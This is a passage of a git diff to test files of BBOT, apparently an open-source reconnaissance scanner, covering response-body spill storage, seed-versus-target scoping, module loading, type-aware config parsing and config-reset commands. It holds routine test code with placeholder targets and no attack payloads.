+        # After minimize, body should be gone
+        assert event.body == ""
+        # File should be deleted
+        bodies_dir = scan.temp_dir / "bodies"
+        assert not list(bodies_dir.iterdir()) or all(str(event._uuid) not in p.name for p in bodies_dir.iterdir())
+
+    @pytest.mark.asyncio
+    async def test_disabled_falls_back_to_in_memory(self, bbot_scanner, fake_response_data):
+        """When body_spill is disabled in config, body stays in _data and
+        event.body falls through to it."""
+        scan = bbot_scanner(
+            "http://example.com",
+            config={"web": {"body_spill": {"enabled": False}}},
+        )
+        await scan._prep()
+        assert scan.body_spill_store is None, "store should not be created when disabled"
+
+        event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event)
+        # body remains in _data
+        assert event._data.get("body") == "<html><body>hi</body></html>"
+        # event.body still works
+        assert event.body == "<html><body>hi</body></html>"
+
+    @pytest.mark.asyncio
+    async def test_raw_response_uses_spilled_body(self, bbot_scanner, fake_response_data):
+        """The raw_response property should reconstruct the body from
+        the spill store, not from _data."""
+        scan = bbot_scanner("http://example.com")
+        await scan._prep()
+
+        event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event)
+        raw = event.raw_response
+        assert "<html><body>hi</body></html>" in raw
+        assert "HTTP/1.1 200 OK" in raw
+
+
+# ── _BaselineSnapshot unit tests ──────────────────────────────────────
+
+
+class TestBaselineSnapshot:
+    def test_roundtrip_via_spill_store(self, tmp_path):
+        """text/content are served from the spill store, not pinned on the snapshot."""
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        body = "<html>ünïcödé body</html>".encode("utf-8")
+        snap = _BaselineSnapshot(_FakeResponse(body_bytes=body), spill_store=store)
+        assert snap.content == body
+        assert snap.text == body.decode("utf-8")
+        assert snap._text is None  # body is not held on the Python object
+
+    def test_no_spill_store_falls_back_to_memory(self, tmp_path):
+        """Without a store, text/content come from the in-memory text."""
+        snap = _BaselineSnapshot(_FakeResponse(text="hello"), spill_store=None)
+        assert snap.text == "hello"
+        assert snap.content == b"hello"
+        assert not any(tmp_path.iterdir())
+
+    def test_del_reclaims_spilled_body(self, tmp_path):
+        """Garbage-collecting the snapshot deletes its spill file and cache entry."""
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        snap = _BaselineSnapshot(_FakeResponse(body_bytes=b"X" * 256), spill_store=store)
+        assert any(tmp_path.iterdir())
+        assert store.stats()["cache_entries"] == 1
+
+        del snap
+        gc.collect()
+        assert not list(tmp_path.iterdir())
+        assert store.stats()["cache_entries"] == 0
+
+    def test_cleanup_is_idempotent(self, tmp_path):
+        """Calling _cleanup twice (e.g. explicit + __del__) is safe."""
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        snap = _BaselineSnapshot(_FakeResponse(body_bytes=b"data"), spill_store=store)
+        snap._cleanup()
+        snap._cleanup()
+        assert not list(tmp_path.iterdir())
diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py
index 9d95870a0b..c828aa2a92 100644
--- a/bbot/test/test_step_1/test_cli.py
+++ b/bbot/test/test_step_1/test_cli.py
@@ -1,3 +1,4 @@
+import stat
 import yaml
 
 from ..bbot_fixtures import *
@@ -12,10 +13,10 @@ async def test_cli_scope(monkeypatch, capsys):
     monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
     monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
 
-    # basic target without whitelist
+    # basic target (seeds and target are the same)
     monkeypatch.setattr(
         "sys.argv",
-        ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json"],
+        ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json", "-y"],
     )
     result = await cli._main()
     out, err = capsys.readouterr()
@@ -28,10 +29,7 @@ async def test_cli_scope(monkeypatch, capsys):
         [
             l
             for l in dns_events
-            if l["module"] == "TARGET"
-            and l["scope_distance"] == 0
-            and "in-scope" in l["tags"]
-            and "target" in l["tags"]
+            if l["module"] == "SEED" and l["scope_distance"] == 0 and "in-scope" in l["tags"] and "seed" in l["tags"]
         ]
     )
     ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"]
@@ -41,20 +39,21 @@ async def test_cli_scope(monkeypatch, capsys):
     assert ip_events
     assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in ip_events)
 
-    # with whitelist
+    # with target_list different from seeds (seeds are one.one.one.one, target is 192.168.0.1)
     monkeypatch.setattr(
         "sys.argv",
         [
             "bbot",
             "-t",
-            "one.one.one.one",
-            "-w",
             "192.168.0.1",
+            "-s",
+            "one.one.one.one",
             "-c",
             "scope.report_distance=10",
             "dns.minimal=false",
             "dns.search_distance=2",
             "--json",
+            "-y",
         ],
     )
     result = await cli._main()
@@ -66,17 +65,17 @@ async def test_cli_scope(monkeypatch, capsys):
     assert not any(l["scope_distance"] == 0 for l in lines)
     dns_events = [l for l in lines if l["type"] == "DNS_NAME" and l["data"] == "one.one.one.one"]
     assert dns_events
+    # When seeds are different from target, the seed DNS_NAME should be out-of-scope
+    # (distance-1) and tagged as a seed, but NOT tagged as a target (since it is not
+    # part of the target set that in_target() checks).
     assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in dns_events)
-    assert 1 == len(
-        [
-            l
-            for l in dns_events
-            if l["module"] == "TARGET"
-            and l["scope_distance"] == 1
-            and "distance-1" in l["tags"]
-            and "target" in l["tags"]
-        ]
-    )
+    target_seed_events = [
+        l
+        for l in dns_events
+        if l["module"] == "SEED" and l["scope_distance"] == 1 and "distance-1" in l["tags"] and "seed" in l["tags"]
+    ]
+    assert len(target_seed_events) == 1
+    assert all("target" not in l["tags"] for l in target_seed_events)
     ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"]
     assert ip_events
     assert all(l["scope_distance"] == 2 and "distance-2" in l["tags"] for l in ip_events)
@@ -123,9 +122,9 @@ async def test_cli_scan(monkeypatch):
     with open(output_filename) as f:
         lines = f.read().splitlines()
         for line in lines:
-            if "[IP_ADDRESS]        \t127.0.0.1\tTARGET" in line:
+            if "[IP_ADDRESS]        \t127.0.0.1\tSEED" in line:
                 ip_success = True
-            if "[DNS_NAME]          \twww.example.com\tTARGET" in line:
+            if "[DNS_NAME]          \twww.example.com\tSEED" in line:
                 dns_success = True
     assert ip_success and dns_success, "IP_ADDRESS and/or DNS_NAME are not present in output.txt"
 
@@ -158,11 +157,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     print(out)
     # parse YAML output
     preset = yaml.safe_load(out)
-    assert preset == {
-        "description": "depstest",
-        "scan_name": "depstest",
-        "config": {"deps": {"behavior": "retry_failed"}},
-    }
+    # description and scan_name should reflect the CLI name
+    assert preset["description"] == "depstest"
+    assert preset["scan_name"] == "depstest"
+    # deps behavior should be set to retry_failed, but allow other config keys to exist
+    assert preset.get("config", {}).get("deps") == {"behavior": "retry_failed"}
 
     # list modules
     monkeypatch.setattr("sys.argv", ["bbot", "--list-modules"])
@@ -253,8 +252,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     result = await cli._main()
     out, err = capsys.readouterr()
     assert result is None
-    assert "| safe " in out
-    assert "| Non-intrusive, safe to run " in out
+    assert "| loud " in out
     assert "| active " in out
     assert "| passive " in out
 
@@ -268,11 +266,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     assert "| passive " not in out
 
     # list multiple flags
-    monkeypatch.setattr("sys.argv", ["bbot", "-f", "active", "safe", "--list-flags"])
+    monkeypatch.setattr("sys.argv", ["bbot", "-f", "active", "loud", "--list-flags"])
     result = await cli._main()
     out, err = capsys.readouterr()
     assert result is None
-    assert "| safe " in out
+    assert "| loud " in out
     assert "| active " in out
     assert "| passive " not in out
 
@@ -289,7 +287,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     out, err = capsys.readouterr()
     assert result is None
     assert "| dnsbrute " in out
-    assert "| httpx " in out
+    assert "| http " in out
     assert "| robots " in out
 
     # list modules by flag
@@ -298,7 +296,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     out, err = capsys.readouterr()
     assert result is None
     assert "| dnsbrute " in out
-    assert "| httpx " in out
+    assert "| http " in out
     assert "| robots " not in out
 
     # list modules by flag + required flag
@@ -307,7 +305,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     out, err = capsys.readouterr()
     assert result is None
     assert "| chaos " in out
-    assert "| httpx " not in out
+    assert "| http " not in out
 
     # list modules by flag + excluded flag
     monkeypatch.setattr("sys.argv", ["bbot", "-f", "subdomain-enum", "-ef", "active", "-l"])
@@ -315,7 +313,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     out, err = capsys.readouterr()
     assert result is None
     assert "| chaos " in out
-    assert "| httpx " not in out
+    assert "| http " not in out
 
     # list modules by flag + excluded module
     monkeypatch.setattr("sys.argv", ["bbot", "-f", "subdomain-enum", "-em", "dnsbrute", "-l"])
@@ -323,46 +321,57 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     out, err = capsys.readouterr()
     assert result is None
     assert "| dnsbrute " not in out
-    assert "| httpx " in out
+    assert "| http " in out
 
-    # output modules override
+    # -om is additive (defaults stay)
     caplog.clear()
     assert not caplog.text
     monkeypatch.setattr("sys.argv", ["bbot", "-om", "csv,json", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 2/2 output modules, (csv,json)" in caplog.text
+    assert "Loaded 4/4 output modules, (csv,json,stdout,txt)" in caplog.text
     caplog.clear()
     monkeypatch.setattr("sys.argv", ["bbot", "-em", "csv,json", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 3/3 output modules, (python,stdout,txt)" in caplog.text
+    assert "Loaded 2/2 output modules, (stdout,txt)" in caplog.text
 
-    # output modules override
+    # -om adds non-default module on top of defaults
     caplog.clear()
     assert not caplog.text
     monkeypatch.setattr("sys.argv", ["bbot", "-om", "subdomains", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 6/6 output modules, (csv,json,python,stdout,subdomains,txt)" in caplog.text
+    assert "Loaded 5/5 output modules, (csv,json,stdout,subdomains,txt)" in caplog.text
 
-    # internal modules override
+    # -eom removes output modules
+    caplog.clear()
+    assert not caplog.text
+    monkeypatch.setattr("sys.argv", ["bbot", "-eom", "csv,txt", "-y"])
+    result = await cli._main()
+    assert result is True
+    assert "Loaded 2/2 output modules, (json,stdout)" in caplog.text
+
+    # internal modules (python is now internal)
     caplog.clear()
     assert not caplog.text
     monkeypatch.setattr("sys.argv", ["bbot", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 6/6 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate,unarchive)" in caplog.text
+    assert (
+        "Loaded 7/7 internal modules (aggregate,cloudcheck,dnsresolve,excavate,python,speculate,unarchive)"
+        in caplog.text
+    )
     caplog.clear()
     monkeypatch.setattr("sys.argv", ["bbot", "-em", "excavate", "speculate", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 4/4 internal modules (aggregate,cloudcheck,dnsresolve,unarchive)" in caplog.text
+    assert "Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,python,unarchive)" in caplog.text
     caplog.clear()
     monkeypatch.setattr("sys.argv", ["bbot", "-c", "speculate=false", "-y"])
     result = await cli._main()
     assert result is True
-    assert "Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,unarchive)" in caplog.text
+    assert "Loaded 6/6 internal modules (aggregate,cloudcheck,dnsresolve,excavate,python,unarchive)" in caplog.text
 
     # custom target type
     out, err = capsys.readouterr()
@@ -370,7 +379,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     result = await cli._main()
     out, err = capsys.readouterr()
     assert result is True
-    assert "[ORG_STUB]          	evilcorp	TARGET" in out
+    assert "[ORG_STUB]          	evilcorp\tSEED" in out
 
     # activate modules by flag
     caplog.clear()
@@ -404,18 +413,10 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config):
     result = await cli._main()
     assert result is True
 
-    # deadly modules
-    caplog.clear()
-    assert not caplog.text
-    monkeypatch.setattr("sys.argv", ["bbot", "-m", "nuclei"])
+    # invasive modules should run without a gate (just warnings)
+    monkeypatch.setattr("sys.argv", ["bbot", "-m", "dotnetnuke"])
     result = await cli._main()
-    assert result is False, "-m nuclei ran without --allow-deadly"
-    assert "Please specify --allow-deadly to continue" in caplog.text
-
-    # --allow-deadly
-    monkeypatch.setattr("sys.argv", ["bbot", "-m", "nuclei", "--allow-deadly"])
-    result = await cli._main()
-    assert result is True, "-m nuclei failed to run with --allow-deadly"
+    assert result is True, "-m dotnetnuke should run without any special flags"
 
     # install all deps
     monkeypatch.setattr("sys.argv", ["bbot", "--install-all-deps"])
@@ -472,18 +473,37 @@ async def test_cli_module_help(monkeypatch, capsys):
     assert "Extracts domains from CSP headers" in captured.out
     assert "Module Help:" in captured.out
 
+    # a module with options must list them (regression: help_text reads the pydantic
+    # Config, not the removed self.options dict — otherwise every module shows nothing)
+    monkeypatch.setattr("sys.argv", ["bbot", "--module-help", "robots"])
+    assert await cli._main() is None
+    captured = capsys.readouterr()
+    assert "include_sitemap" in captured.out
+    assert "No options available" not in captured.out
+
+    # lightfuzz overrides help_text as a classmethod (regression: it must not read
+    # instance-only config, which previously crashed with AttributeError)
+    monkeypatch.setattr("sys.argv", ["bbot", "--module-help", "lightfuzz"])
+    assert await cli._main() is None
+    captured = capsys.readouterr()
+    assert "Lightfuzz Submodules:" in captured.out
+    assert "sqli" in captured.out
+    assert "enabled_submodules" in captured.out
+
 
 def test_cli_config_validation(monkeypatch, caplog):
     monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
     monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
 
-    # incorrect module option
+    # incorrect module name nested under modules.* — surfaces as an unknown
+    # module with a closest-match suggestion (more useful than the legacy
+    # "Could not find config option ..." phrasing)
     caplog.clear()
     assert not caplog.text
     monkeypatch.setattr("sys.argv", ["bbot", "-c", "modules.ipnegibhor.num_bits=4"])
     cli.main()
-    assert 'Could not find config option "modules.ipnegibhor.num_bits"' in caplog.text
-    assert 'Did you mean "modules.ipneighbor.num_bits"?' in caplog.text
+    assert 'Could not find module "ipnegibhor"' in caplog.text
+    assert 'Did you mean "ipneighbor"?' in caplog.text
 
     # incorrect global option
     caplog.clear()
@@ -494,6 +514,101 @@ def test_cli_config_validation(monkeypatch, caplog):
     assert 'Did you mean "web.spider_distance"?' in caplog.text
 
 
+def test_parse_cli_value_keeps_date_shaped_strings():
+    """`-c key=2024-01-01` must stay a string -- YAML would coerce it to a date object,
+    which every typed field rejects (e.g. an all-numeric or date-shaped credential).
+    Normal type coercion for typed options is preserved."""
+    from bbot.scanner.preset.args import _parse_cli_value
+
+    assert _parse_cli_value("2024-01-01") == "2024-01-01"
+    assert _parse_cli_value("2") == 2
+    assert _parse_cli_value("true") is True
+    assert _parse_cli_value("3.5") == 3.5
+    assert _parse_cli_value("[a, b]") == ["a", "b"]
+    assert _parse_cli_value("") == ""
+    assert _parse_cli_value("hello") == "hello"
+
+
+def test_parse_dotted_cli_type_aware_string_fields():
+    """String fields keep the literal CLI text (lossless) so an all-numeric or
+    boolean-looking value isn't coerced to int/bool and rejected by the str type."""
+    from bbot.scanner.preset.args import parse_dotted_cli
+    from bbot.scanner import validate_preset
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    index = MODULE_LOADER.config_type_index
+    for raw, expect in [("12345678", "12345678"), ("true", "true"), ("0755", "0755")]:
+        d = parse_dotted_cli([f"modules.postgres.password={raw}"], index=index)
+        assert d["modules"]["postgres"]["password"] == expect
+        assert validate_preset({"config": d}) == []
+
+
+def test_parse_dotted_cli_type_aware_preserves_scalars():
+    """Typed options still coerce (int/bool), and Union[str, list[str]] still parses a
+    list while keeping a bare value as a string."""
+    from bbot.scanner.preset.args import parse_dotted_cli
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    index = MODULE_LOADER.config_type_index
+    assert parse_dotted_cli(["web.http_timeout=20"], index=index)["web"]["http_timeout"] == 20
+    assert parse_dotted_cli(["scope.strict=true"], index=index)["scope"]["strict"] is True
+    wl = parse_dotted_cli(["modules.dnsbrute.wordlist=[a,b]"], index=index)["modules"]["dnsbrute"]["wordlist"]
+    assert wl == ["a", "b"]
+    bare = parse_dotted_cli(["modules.dnsbrute.wordlist=foo"], index=index)["modules"]["dnsbrute"]["wordlist"]
+    assert bare == "foo"
+
+
+def test_parse_dotted_cli_type_aware_bool_fields():
+    """Bool fields produce real bool values, not ints or strings."""
+    from bbot.scanner.preset.args import parse_dotted_cli
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    index = MODULE_LOADER.config_type_index
+    d = parse_dotted_cli(["modules.lightfuzz.force_common_headers=1"], index=index)
+    assert d["modules"]["lightfuzz"]["force_common_headers"] is True
+    d = parse_dotted_cli(["scope.strict=yes"], index=index)
+    assert d["scope"]["strict"] is True
+    d = parse_dotted_cli(["scope.strict=false"], index=index)
+    assert d["scope"]["strict"] is False
+
+
+def test_type_aware_parsing_still_flags_unknown_key():
+    """Type-awareness must not hide a typo: an unknown key falls back to YAML parse
+    and is still rejected by validation."""
+    from bbot.scanner.preset.args import parse_dotted_cli
+    from bbot.scanner import validate_preset
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    d = parse_dotted_cli(["web.bogus=5"], index=MODULE_LOADER.config_type_index)
+    assert validate_preset({"config": d})  # non-empty: unknown key flagged
+
+
+def test_coerce_config_file_values():
+    """coerce_config fixes YAML-parsed values from config files: numeric passwords
+    become strings, integer 1 on a bool field becomes True, etc."""
+    from bbot.core.config.models import coerce_config
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    index = MODULE_LOADER.config_type_index
+    cfg = {
+        "web": {"http_timeout": 30},
+        "modules": {
+            "postgres": {"password": 12345678, "port": 5432},
+            "lightfuzz": {"force_common_headers": 1},
+        },
+    }
+    result = coerce_config(cfg, index)
+    assert result["modules"]["postgres"]["password"] == "12345678"
+    assert result["modules"]["postgres"]["port"] == 5432
+    assert result["modules"]["lightfuzz"]["force_common_headers"] is True
+    assert result["web"]["http_timeout"] == 30
+
+
 def test_cli_module_validation(monkeypatch, caplog):
     monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
     monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
@@ -528,12 +643,12 @@ def test_cli_module_validation(monkeypatch, caplog):
     monkeypatch.setattr("sys.argv", ["bbot", "-om", "websocket", "-c", "modules.websocket.url=", "-y"])
     cli.main()
     lines = caplog.text.splitlines()
-    assert "Loaded 6/6 output modules, (csv,json,python,stdout,txt,websocket)" in caplog.text
+    assert "Loaded 5/5 output modules, (csv,json,stdout,txt,websocket)" in caplog.text
     assert 1 == len(
         [
             l
             for l in lines
-            if l.startswith("WARNING  bbot.scanner:scanner.py")
+            if l.startswith("ERROR    bbot.scanner:scanner.py")
             and l.endswith("Setup hard-failed for websocket: Must set URL")
         ]
     )
@@ -541,7 +656,7 @@ def test_cli_module_validation(monkeypatch, caplog):
         [
             l
             for l in lines
-            if l.startswith("WARNING  bbot.modules.output.websocket:base.py") and l.endswith("Setting error state")
+            if l.startswith("ERROR    bbot.modules.output.websocket:base.py") and l.endswith("Setting error state")
         ]
     )
     assert 1 == len(
@@ -567,7 +682,7 @@ def test_cli_module_validation(monkeypatch, caplog):
         [
             l
             for l in lines
-            if l.startswith("WARNING  bbot.scanner:scanner.py")
+            if l.startswith("ERROR    bbot.scanner:scanner.py")
             and l.endswith("Setup hard-failed for websocket: Must set URL")
         ]
     )
@@ -575,7 +690,7 @@ def test_cli_module_validation(monkeypatch, caplog):
         [
             l
             for l in lines
-            if l.startswith("WARNING  bbot.modules.output.websocket:base.py") and l.endswith("Setting error state")
+            if l.startswith("ERROR    bbot.modules.output.websocket:base.py") and l.endswith("Setting error state")
         ]
     )
     assert 1 == len(
@@ -618,7 +733,7 @@ def test_cli_module_validation(monkeypatch, caplog):
     assert 'Did you mean "subdomain-enum"?' in caplog.text
 
 
-def test_cli_presets(monkeypatch, capsys, caplog):
+def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config):
     import yaml
 
     monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
@@ -786,3 +901,118 @@ def test_cli_presets(monkeypatch, capsys, caplog):
     shutil.rmtree(scan_dir, ignore_errors=True)
     shutil.rmtree(output_file, ignore_errors=True)
     output_dir_preset_file.unlink()
+
+
+@pytest.mark.asyncio
+async def test_cli_no_color(monkeypatch):
+    from bbot.logger import colorize
+    from bbot.scanner import Preset
+
+    # colorize honors the NO_COLOR convention
+    monkeypatch.delenv("NO_COLOR", raising=False)
+    assert colorize("test", "INFO") != "test"
+    monkeypatch.setenv("NO_COLOR", "1")
+    assert colorize("test", "INFO") == "test"
+
+    # the --no-color CLI switch sets NO_COLOR (restored by monkeypatch at teardown)
+    monkeypatch.delenv("NO_COLOR", raising=False)
+    monkeypatch.setattr("sys.argv", ["bbot", "-t", "evilcorp.com", "--no-color"])
+    preset = Preset()
+    preset.parse_args()
+    assert os.environ.get("NO_COLOR") == "1"
+
+
+@pytest.mark.asyncio
+async def test_cli_reset_config(monkeypatch, caplog, tmp_path):
+    from bbot.core import CORE
+
+    monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
+    monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
+    caplog.set_level(logging.INFO)
+
+    files = CORE.files_config
+    monkeypatch.setattr(files, "config_dir", tmp_path)
+    monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml")
+    monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml")
+    config_file = tmp_path / "bbot.yml"
+    secrets_file = tmp_path / "secrets.yml"
+
+    # a customized bbot.yml on disk
+    config_file.write_text("scope:\n  strict: false\n")
+
+    # without --yes and no TTY, it refuses and changes nothing
+    monkeypatch.setattr("sys.argv", ["bbot", "--reset-config"])
+    caplog.clear()
+    await cli._main()
+    assert "Refusing to reset config without confirmation" in caplog.text
+    assert not (tmp_path / "bbot.yml.bak").exists()
+    assert config_file.read_text() == "scope:\n  strict: false\n"
+
+    # --reset-config -y regenerates bbot.yml and backs it up, but never touches secrets.yml
+    monkeypatch.setattr("sys.argv", ["bbot", "--reset-config", "-y"])
+    caplog.clear()
+    await cli._main()
+    assert "Regenerated config files" in caplog.text
+    assert (tmp_path / "bbot.yml.bak").is_file()
+    assert (tmp_path / "bbot.yml.bak").read_text() == "scope:\n  strict: false\n"
+    assert "# NOTICE" in config_file.read_text()
+    assert not (tmp_path / "secrets.yml.bak").exists()
+
+    # --reset-secrets -y regenerates secrets.yml (owner-only) and backs it up
+    monkeypatch.setattr("sys.argv", ["bbot", "--reset-secrets", "-y"])
+    caplog.clear()
+    await cli._main()
+    assert (tmp_path / "secrets.yml.bak").is_file()
+    assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0
+
+
+@pytest.mark.asyncio
+async def test_cli_reset_config_hint(monkeypatch, caplog, tmp_path):
+    from bbot.core import CORE
+
+    monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
+    monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
+    caplog.set_level(logging.INFO)
+
+    files = CORE.files_config
+    monkeypatch.setattr(files, "config_dir", tmp_path)
+    monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml")
+    monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml")
+
+    # a bbot.yml carrying an option that no longer exists (e.g. left over from
+    # an older version of BBOT), loaded into the config
+    (tmp_path / "bbot.yml").write_text("scope:\n  strct: false\n")
+    monkeypatch.setattr(CORE, "_custom_config", {"scope": {"strct": False}})
+
+    monkeypatch.setattr("sys.argv", ["bbot", "-t", "example.com"])
+    caplog.clear()
+    await cli._main()
+
+    # validation fails on the bad option, and (because it lives in bbot.yml) we
+    # point the user at --reset-config -- but not at --reset-secrets
+    assert "scope.strct" in caplog.text
+    assert "regenerating from current defaults with: bbot --reset-config" in caplog.text
+    assert "--reset-secrets" not in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_cli_reset_config_hint_skips_cli_typo(monkeypatch, caplog, tmp_path):
+    from bbot.core import CORE
+
+    monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True)
+    monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True)
+    caplog.set_level(logging.INFO)
+
+    files = CORE.files_config
+    monkeypatch.setattr(files, "config_dir", tmp_path)
+    monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml")
+    monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml")
+
+    # the bad option comes from the CLI, not from any config file on disk
+    monkeypatch.setattr("sys.argv", ["bbot", "-t", "example.com", "-c", "scope.strct=false"])
+    caplog.clear()
+    await cli._main()
+
+    # validation still fails, but there's nothing to reset -- so no hint
+    assert "scope.strct" in caplog.text
+    assert "regenerating from current defaults" not in caplog.text
diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py
index 7a99aed9bc..54bbdaba25 100644
--- a/bbot/test/test_step_1/test_command.py
+++ b/bbot/test/test_step_1/test_command.py
@@ -6,6 +6,7 @@
 @pytest.mark.asyncio
 async def test_command(bbot_scanner):
     scan1 = bbot_scanner()
+    await scan1._prep()
 
     # test timeouts
     command = ["sleep", "3"]
@@ -116,7 +117,7 @@ async def test_command(bbot_scanner):
     assert not lines
 
     # test sudo + existence of environment variables
-    await scan1.load_modules()
+    await scan1._prep()
     path_parts = os.environ.get("PATH", "").split(":")
     assert "/tmp/.bbot_test/tools" in path_parts
     run_lines = (await scan1.helpers.run(["env"])).stdout.splitlines()
diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py
index 72f7961379..6de63e6b44 100644
--- a/bbot/test/test_step_1/test_config.py
+++ b/bbot/test/test_step_1/test_config.py
@@ -3,23 +3,22 @@
 
 @pytest.mark.asyncio
 async def test_config(bbot_scanner):
-    config = OmegaConf.create(
-        {
-            "plumbus": "asdf",
-            "speculate": True,
-            "modules": {
-                "ipneighbor": {"test_option": "ipneighbor"},
-                "python": {"test_option": "asdf"},
-                "speculate": {"test_option": "speculate"},
-            },
-        }
-    )
+    # config is strictly validated, so propagation must be tested with real keys
+    config = {
+        "status_frequency": 5,
+        "speculate": True,
+        "modules": {
+            "ipneighbor": {"num_bits": 8},
+            "python": {"module_timeout": 60},
+            "speculate": {"module_timeout": 60},
+        },
+    }
     scan1 = bbot_scanner("127.0.0.1", modules=["ipneighbor"], config=config)
-    await scan1.load_modules()
-    assert scan1.config.web.user_agent == "BBOT Test User-Agent"
-    assert scan1.config.plumbus == "asdf"
-    assert scan1.modules["ipneighbor"].config.test_option == "ipneighbor"
-    assert scan1.modules["python"].config.test_option == "asdf"
-    assert scan1.modules["speculate"].config.test_option == "speculate"
+    await scan1._prep()
+    assert scan1.config["web"]["user_agent"] == "BBOT Test User-Agent"
+    assert scan1.config["status_frequency"] == 5
+    assert scan1.modules["ipneighbor"].config["num_bits"] == 8
+    assert scan1.modules["python"].config["module_timeout"] == 60
+    assert scan1.modules["speculate"].config["module_timeout"] == 60
 
     await scan1._cleanup()
diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py
new file mode 100644
index 0000000000..8c926b84da
--- /dev/null
+++ b/bbot/test/test_step_1/test_db_models.py
@@ -0,0 +1,93 @@
+from datetime import datetime
+from zoneinfo import ZoneInfo
+
+from bbot.models.pydantic import Event
+from bbot.core.event.base import BaseEvent
+from bbot.models.helpers import utc_datetime_validator
+from ..bbot_fixtures import *  # noqa
+
+
+def test_pydantic_models(events, bbot_scanner):
+    # test datetime helpers
+    now = datetime.now(ZoneInfo("America/New_York"))
+    utc_now = utc_datetime_validator(now)
+    assert now.timestamp() == utc_now.timestamp()
+    now2 = datetime.fromtimestamp(utc_now.timestamp(), ZoneInfo("UTC"))
+    assert now2.timestamp() == utc_now.timestamp()
+    utc_now2 = utc_datetime_validator(now2)
+    assert utc_now2.timestamp() == utc_now.timestamp()
+
+    test_event = Event(**events.ipv4.json())
+    assert sorted(test_event.indexed_fields()) == [
+        "data",
+        "host",
+        "id",
+        "inserted_at",
+        "module",
+        "parent",
+        "parent_uuid",
+        "reverse_host",
+        "scan",
+        "timestamp",
+        "type",
+        "uuid",
+    ]
+
+    # convert events to pydantic and back, making sure they're exactly the same
+    for event in ("ipv4", "http_response", "finding", "storage_bucket"):
+        e = getattr(events, event)
+        event_json = e.json()
+        event_pydantic = Event(**event_json)
+        event_pydantic_dict = event_pydantic.model_dump()
+        event_reconstituted = BaseEvent.from_json(event_pydantic.model_dump(exclude_none=True))
+        assert isinstance(event_json["timestamp"], float)
+        assert isinstance(e.timestamp, datetime)
+        assert isinstance(event_pydantic.timestamp, float)
+        assert not "inserted_at" in event_json
+        assert isinstance(event_pydantic_dict["timestamp"], float)
+        assert isinstance(event_pydantic_dict["inserted_at"], float)
+
+        event_pydantic_dict = event_pydantic.model_dump(
+            exclude_none=True, exclude=["reverse_host", "inserted_at", "archived"]
+        )
+        assert event_pydantic_dict == event_json
+        event_pydantic_dict.pop("scan")
+        event_pydantic_dict.pop("module")
+        event_pydantic_dict.pop("module_sequence")
+        assert event_reconstituted.json() == event_pydantic_dict
+
+    # make sure we can dedupe events by their id
+    scan = bbot_scanner()
+    event1 = scan.make_event("1.2.3.4", parent=scan.root_event)
